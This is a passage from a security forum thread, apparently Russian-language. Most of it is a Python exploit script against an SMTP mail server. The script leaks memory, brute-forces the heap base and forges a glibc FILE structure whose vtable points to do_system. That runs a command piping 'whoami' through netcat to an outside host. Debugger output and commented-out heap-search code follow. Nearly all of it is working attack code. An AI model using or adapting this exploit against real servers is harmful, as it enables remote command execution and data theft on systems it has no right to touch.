range(0,256): if ((j == 0) and (i % 16 != 0)): continue byte = pack('B', i) mess = '' # print "TRY[" + str(j) + "] BYTE => " + hex(i) tel = PREPARE_HEAP_LEAK('lib') for k in range(0, len(memleak)): tel.write(memleak[k]) tel.write(byte) tel.sock.shutdown(socket.SHUT_WR) mess = tel.sock.recv(1024) if mess != '': print "Find sym[" + str(j) + "] => " + hex(i) memleak += byte break memleak += '\x7f\x00\x00' print hex(unpack('<Q', memleak)[0]) heap_base = 0 libend = unpack('<Q', memleak)[0] + 0x4000 for j in range(0, 65535, 1): try_off = libend + (j * 0x1000) print "TRY => " + hex(try_off) if CHECK_ADDR(try_off + 0x100) == True: if CHECK_ADDR(try_off + 0x1000) == True: if CHECK_ADDR(try_off + 0x13100) == True: if CHECK_ADDR(try_off + 0x2100) == False: if CHECK_ADDR(try_off + 0x10100) == False: if CHECK_ADDR(try_off + 0x9100) == False: print "Found heap! => " + hex(try_off) heap_base = try_off print "Connents to server => " + str(counter) break buff = unpack('<Q', memleak)[0] #buff = 0x00007f4165706000 #heap_base = 0x00007f4166dcf000 print 'Buff = 0x%016x\nHeap = 0x%016x' % (buff, heap_base) libc_offset = 0x15ff000 stderr = buff - libc_offset + 0x1180 do_system_off = 0x43df0 system_off = 0x44320 execl_off = 0xbe6e0 do_system = buff - 0x19b5000 + 0x43df0 smtp_out = 0x135e0 + heap_base sizeof_FILE = 0xd8 fw_vtable_offset = 0x38 fileno = 0x9 lock = heap_base + 0x13630 pad2 = heap_base + 0x136d0 CMD = 'whoami|nc 192.168.0.62 4445' NULL = 0x0000000000000000 FFFF = 0xefefefefefefefef if len(CMD) >= 96: print('BAD CMD!') sys.exit(0) (tel, null_way) = PREPARE_CMD_EXEC() FILE_STRUCT = CMD + '\x00' * (96 - len(CMD)) # _flags and _IO_read_ptr #FILE_STRUCT += pack('<Q', NULL) # _IO_read_end #FILE_STRUCT += pack('<Q', NULL) # _IO_read_base #FILE_STRUCT += pack('<Q', NULL) # _IO_write_base #FILE_STRUCT += pack('<Q', NULL) # _IO_write_ptr #FILE_STRUCT += pack('<Q', NULL) # _IO_write_end #FILE_STRUCT += pack('<Q', NULL) # _IO_buf_base #FILE_STRUCT += pack('<Q', NULL) # _IO_buf_end #FILE_STRUCT += pack('<Q', NULL) # _IO_save_base #FILE_STRUCT += pack('<Q', NULL) # _IO_backup_base #FILE_STRUCT += pack('<Q', NULL) # _IO_save_end FILE_STRUCT += pack('<Q', NULL) # _markers FILE_STRUCT += pack('<Q', stderr) # _chain FILE_STRUCT += pack('<I', fileno) # _fileno FILE_STRUCT += pack('<I', 0x00000000) # _flags2 FILE_STRUCT += pack('<Q', NULL) # _old_offset FILE_STRUCT += '\x00\x00' # _cur_column FILE_STRUCT += '\x00' # _vtable_offset FILE_STRUCT += '\xcc\xcc\xcc\xcc\xcc' # _shortbuf ( i thotgh it 3 bytes =|) FILE_STRUCT += pack('<Q', lock) # _lock FILE_STRUCT += pack('<Q', FFFF) # _offset FILE_STRUCT += pack('<Q', NULL) # __pad1 FILE_STRUCT += pack('<Q', pad2) # __pad2 FILE_STRUCT += pack('<Q', NULL) # __pad3 FILE_STRUCT += pack('<Q', NULL) # __pad4 FILE_STRUCT += pack('<Q', NULL) # __pad5 FILE_STRUCT += pack('<I', 0xefefefef) # _mode FILE_STRUCT += '\x00' * 0x14 # _unused2 # _IO_JUMP_t FILE_STRUCT += pack('<Q', smtp_out + sizeof_FILE + 0x8) FILE_STRUCT += pack('<Q', do_system) * (0x70/8) FILE_STRUCT += pack('<Q', do_system) FILE_STRUCT += '\x00' * (576 - len(FILE_STRUCT)) # restore smtp_in FILE_STRUCT += pack('<Q', 0x000000000fbad2488) FILE_STRUCT += '\x00' * 88 FILE_STRUCT += pack('<Q', NULL) FILE_STRUCT += pack('<Q', smtp_out) FILE_STRUCT += pack('<I', 0x0a) FILE_STRUCT += pack('<I', 0x00000000) FILE_STRUCT += pack('<Q', NULL) FILE_STRUCT += '\x00\x00' FILE_STRUCT += '\x00' FILE_STRUCT += '\xcc\xcc\xcc\xcc\xcc' FILE_STRUCT += pack('<Q', heap_base +0x13870 ) FILE_STRUCT += pack('<Q', FFFF) FILE_STRUCT += pack('<Q', NULL) FILE_STRUCT += pack('<Q', heap_base + 0x13910) FILE_STRUCT += pack('<Q', NULL) FILE_STRUCT += pack('<Q', NULL) FILE_STRUCT += pack('<Q', NULL) FILE_STRUCT += pack('<I', 0xefefefef) FILE_STRUCT += '\x00' * 0x14 FILE_STRUCT += pack('<Q', NULL) * 30 FILE_STRUCT += '\n.\n' ''' __GDB-PEDA__$ p *smtp_in $20 = { _flags = 0xfbad2488, _IO_read_ptr = 0x7f4165705000 "", _IO_read_end = 0x7f4165705000 "", _IO_read_base = 0x7f4165705000 "", _IO_write_base = 0x7f4165705000 "", _IO_write_ptr = 0x7f4165705000 "", _IO_write_end = 0x7f4165705000 "", _IO_buf_base = 0x7f4165705000 "", _IO_buf_end = 0x7f4165706000 "354 Enter message, ending with \".\" on a line by itself\r\n", '0' <repeats 144 times>..., _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7f4166de25e0, _fileno = 0xa, _flags2 = 0x0, _old_offset = 0x0, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x7f4166de2900, _offset = 0xffffffffffffffff, __pad1 = 0x0, __pad2 = 0x7f4166de2910, __pad3 = 0x0, __pad4 = 0x0, __pad5 = 0x0, _mode = 0x0, _unused2 = '\000' <repeats 19 times> } ''' print 'do_system = 0x%016x' % do_system # IT is WOOORK #for z in range(0, null_way/2 + 0x1b0 + 256): # tel.write('\x00') # #for z in range(0, null_way/2 - 0x1b0): # tel.write(FILE_STRUCT[z]) raw_input('write') for z in range(0, null_way): tel.write('\x00') for z in range(0, len(FILE_STRUCT)): tel.write(FILE_STRUCT[z]) tel.interact() sys.exit(0) ''' Need write the best heap bruteforcer first = try_off print 'Search backward 32 times' for j in range(0, 32): try_off = first - (j * 0x1000) # if CHECK_ADDR(try_off + 0x100) == True: print 'Hmmm, not heap =\\' libend = first for j in range(0, 65535, 4): try_off = libend + (j * 0x1000) print "TRY => " + hex(try_off) if CHECK_ADDR(try_off + 0x100) == True: print "Found HEAP! Search base!" break first = try_off for j in range(0, 32): try_off = first - (j * 0x1000) if CHECK_ADDR(try_off + 0x100) == True: if CHECK_ADDR(try_off + 0x1000) == True: if CHECK_ADDR(try_off + 0x13100) == True: if CHECK_ADDR(try_off + 0x2100) == False: if CHECK_ADDR(try_off + 0x10100) == False: if CHECK_ADDR(try_off + 0x9100) == False: print "Found heap! => " + hex(try_off) print "Connents to server => " + str(counter) sys.exit(1) ''' # s = CREATE_SOCK(addr) # t = telnetlib.Telnet() # t.sock = s # PREPARE_HEAP_LEAK(t, 'heap') # for k in range(0, len(check)): # t.write(check[k]) # s.shutdown(socket.SHUT_WR) # mess = s.recv(1024) # if mess != '': # print mess + " => HEAP? => " + hex(try_off - 0x100) # else: # break ![]() |
|
![]() |
![]() |
![]() |
#2 |
![]() Спущено из lvl1
__________________
Current: Penetration Testing, Application Security === Old: Заметки о взломе ; проверка на уязвимости A hack CTF |
|
![]() |
![]() |
![]() |
Опции темы | Поиск в этой теме |
Опции просмотра | |
|
|